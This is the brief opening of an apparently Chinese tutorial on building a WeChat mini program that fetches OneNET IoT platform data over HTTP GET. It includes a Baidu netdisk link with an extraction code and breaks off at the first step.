1.IDE&#xff1a;微信开发者工具 2.实验&#xff1a;创建一个小程序&#xff08;http get获取onenet平台数据&#xff09; 3.记录&#xff1a; 百度网盘链接&#xff1a;https://pan.baidu.com/s/1eOd-2EnilnhPWoGUMj0fzw 提取码: 2023 &#xff08;1&#xff09;新建一个工…